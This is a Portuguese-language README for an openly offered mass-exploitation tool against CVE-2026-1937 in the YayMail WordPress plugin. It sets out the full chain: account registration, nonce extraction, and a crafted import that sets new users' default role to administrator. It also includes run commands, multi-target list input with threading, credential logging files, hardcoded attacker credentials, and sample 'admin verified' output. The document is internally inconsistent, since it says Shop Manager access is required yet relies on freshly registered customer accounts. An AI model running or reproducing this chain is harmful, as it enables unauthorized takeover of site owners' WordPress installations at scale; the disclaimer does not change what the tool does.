
YayMail <= 4.3.2 - Autorização Ausente para Atualização Arbitrária de Opções por Usuários Autenticados (Shop Manager+) através da Ação AJAX 'yaymail_import_state'
Descrição:
O plugin YayMail – WooCommerce Email Customizer para WordPress é vulnerável à modificação não autorizada de dados que leva à Escalação de Privilégios em todas as versões até a 4.3.2 inclusive. A ação AJAX yaymail_import_state é registrada sem qualquer verificação de capacidade no servidor, permitindo que atacantes autenticados com acesso de nível Shop Manager ou superior a invoquem livremente. Ao enviar um arquivo ZIP de importação especialmente elaborado, o atacante pode sobrescrever silenciosamente opções arbitrárias do site WordPress — incluindo definir o papel padrão de registro de novos usuários como administrator e habilitar o registro público aberto. Uma vez que essas opções são injetadas, qualquer visitante pode se registrar no site e receber uma conta completa de Administrador do WordPress, resultando em comprometimento total do site.
Esta é uma cadeia de exploração em massa Proof-of-Concept (PoC) direcionada a instalações WordPress + WooCommerce que executam uma versão vulnerável do plugin YayMail. A ferramenta implementa um ataque completo de ponta a ponta: registro no WooCommerce → login → extração do nonce do YayMail → exploração do yaymail_import_state → verificação de administrador.
[Phase 1 — Registration]
GET /my-account/ → Extract WooCommerce register nonce
POST /my-account/ → Register new account (WooCommerce form)
→ Save credentials to reg.txt
↓
[Phase 2 — Login]
POST /wp-login.php → Try WordPress native login
POST /my-account/ (WooC.) → Fallback WooCommerce login
→ Establish authenticated session
↓
[Phase 3 — Admin Pre-check]
GET /wp-admin/ → If already admin, skip to result
↓
[Phase 4 — YayMail Exploit]
GET /wp-admin/admin.php?page=yaymail-settings
→ Extract: ajax_url + nonce
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_nonce>
import_file=yaymail_backup.zip
→ Override WordPress options:
· default_role = administrator
· users_can_register = 1
↓
[Phase 5 — Admin Verification]
GET /wp-admin/ → Check adminmenu / wp-admin-bar
GET /wp-admin/users.php → Confirm manage_options access
↓
[Save to Nx_admin.txt]
Format: [timestamp] https://target.com user:<u> pass:<p>
yaymail_backup.zip — payload de importação elaborado (obrigatório)pip install requests urllib3 rich
Ou via arquivo de requisitos:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1937.git
cd CVE-2026-1937
# Install dependencies
pip install -r requirements.txt
# Place your crafted import payload in the same directory
cp /path/to/yaymail_backup.zip .
# Run the tool
python3 CVE-2026-1937.py
python3 CVE-2026-1937.py
A ferramenta usa uma interface de terminal totalmente interativa alimentada por Rich.
Crie um arquivo de texto simples (padrão: list.txt) — um alvo por linha:
https://target1.com
https://target2.com
http://target3.com
target4.com
Alvos sem
http://ouhttps://recebem automaticamente o prefixohttps://.
Username [Nx_admin]: Nx_admin
Password [Nx_adminSA]: Nx_adminSA
Email [[email protected]]: [email protected]
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
yaymail_backup.zipA exploração requer um arquivo ZIP de importação YayMail especialmente elaborado que sobrescreve as seguintes opções do WordPress quando importado:
| Opção do WordPress | Valor Injetado |
|---|---|
default_role | administrator |
users_can_register | 1 |
⚠️ A ferramenta se recusará a executar se
yaymail_backup.zipnão estiver presente no diretório de trabalho.
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_from_yaymail_settings_page>
import_file=yaymail_backup.zip (multipart upload)
Causa Raiz:
O manipulador yaymail_import_state não chama current_user_can() nem qualquer verificação de capacidade equivalente antes de processar a importação. Qualquer usuário com o papel shop_manager (ou superior) pode invocar esta ação livremente e sobrescrever entradas arbitrárias da tabela wp_options por meio do mecanismo de importação ZIP.
A ferramenta verifica automaticamente os seguintes caminhos em busca dos formulários de registro e login:
/my-account/ /my_account/ /My-account/
/account/ /myaccount/ /customer-login/
/login/ /register/ /sss/
| Arquivo | Descrição |
|---|---|
reg.txt | Todos os registros WooCommerce bem-sucedidos com credenciais |
Nx_admin.txt | Todas as escalações de administrador confirmadas |
reg.txt:
[2026-03-01 14:22:10] https://target.com user:Nx_admin email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2026-03-01 14:22:18] https://target.com user:Nx_admin pass:Nx_adminSA | yaymail import
╔══════════════════════════════════════════════════════════════════╗
║ WooCommerce · YayMail · Mass Exploit Chain ║
║ By: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝
[SCAN] https://target.com
[REGISTERED] https://target.com :: user: Nx_admin pass: Nx_adminSA
[LOGIN-WP] https://target.com :: wp-login.php
[SEARCH-NONCE] https://target.com :: not admin, trying YayMail chain
[NONCE-FOUND] https://target.com :: nonce: a1b2c3d4e5
[EXPLOIT] https://target.com :: nonce: a1b2c3d4e5
[SUCCESS] https://target.com :: user: Nx_admin pass: Nx_adminSA
┌──────────────────────────────────────���───────────────────────────────────┐
│ Target │ Status │ Credentials / Note │
├──────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ EXPLOITED (ADMIN VERIFIED) │ user: Nx_admin … │
│ https://target2.com │ NO-REGISTER │ │
│ https://target3.com │ DEAD │ │
└──────────────────────────────────────────────────────────────────────────┘
Por: Nxploited (Khaled Alenazi)
ESTA FERRAMENTA É FORNECIDA APENAS PARA FINS EDUCACIONAIS E DE PESQUISA DE SEGURANÇA AUTORIZADA.
O autor, Nxploited (Khaled Alenazi), e todos os colaboradores deste projeto não aprovam, apoiam nem assumem qualquer responsabilidade pelo uso indevido desta ferramenta ou por qualquer dano causado pelo uso deste software contra sistemas para os quais você não possui autorização explícita por escrito.
- ✅ Permitido: Uso em sistemas que você possui ou para os quais recebeu permissão explícita por escrito para testar.
- ❌ Proibido: Uso contra qualquer sistema sem autorização prévia explícita por escrito do proprietário do sistema.
O acesso não autorizado a sistemas de computador é ilegal e punível pelas leis aplicáveis, incluindo, mas não se limitando ao Computer Fraud and Abuse Act (CFAA), ao Computer Misuse Act (CMA) e à legislação equivalente em todo o mundo.
Ao usar esta ferramenta, você aceita total e exclusiva responsabilidade por suas ações e confirma que tem autoridade legal para testar os sistemas-alvo.
O autor não assume nenhuma responsabilidade por quaisquer danos diretos, indiretos, incidentais ou consequenciais decorrentes do uso ou uso indevido deste software.
© 2026 Nxploited (Khaled Alenazi) — Somente para pesquisa de segurança autorizada.
| Campo | Detalhes |
|---|
| ID CVE | CVE-2026-1937 |
| Gravidade | ALTA — Pontuação CVSS v3.1: 7.2 |
| Vetor | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Pesquisador | Daniel Basta (whizzu) — NASK PIB |
| Divulgação Pública | 17 de fevereiro de 2026 |
| Última Atualização | 27 de março de 2026 |
| Software Afetado | YayMail – Plugin WooCommerce Email Customizer para WordPress |
| Versões Afetadas | Todas as versões até a 4.3.2 inclusive |
| Tipo de Vulnerabilidade | Autorização Ausente → Atualização Arbitrária Não Autorizada de Opções → Escalação de Privilégios |
| Autenticação Necessária | Sim — nível Shop Manager ou superior |
| CWE | CWE-862: Autorização Ausente |
| Status | Cor | Significado |
|---|
EXPLOITED (ADMIN VERIFIED) | 🟢 Verde | Sucesso na cadeia completa — administrador confirmado |
EXPLOITED (ADMIN) | 🟢 Verde | Usuário registrado já era administrador |
PARTIAL | 🟡 Amarelo | Importação YayMail bem-sucedida, mas acesso de administrador não confirmado |
REGISTERED | 🟡 Amarelo | Registro WooCommerce bem-sucedido |
LOGIN-WP | 🔵 Ciano | Conectado via /wp-login.php |
LOGIN-WOO | 🔵 Ciano | Conectado via formulário WooCommerce |
NONCE-FOUND | 🟣 Magenta | Nonce YayMail extraído com sucesso |
NO-REGISTER | ⚫ Escuro | Formulário de registro WooCommerce não encontrado |
LOGIN-FAILED | ⚫ Escuro | Não foi possível estabelecer sessão autenticada |
NONCE-NOT-FOUND | ⚫ Escuro | Página de configurações do YayMail inacessível ou nonce ausente |
EXPLOIT-FAILED | 🔴 Vermelho | A chamada yaymail_import_state não retornou sucesso |
TIMEOUT | ⚫ Escuro | Tempo limite HTTP |
DEAD | ⚫ Escuro | Conexão recusada / inacessível |
ERROR | 🔴 Vermelho | Exceção inesperada |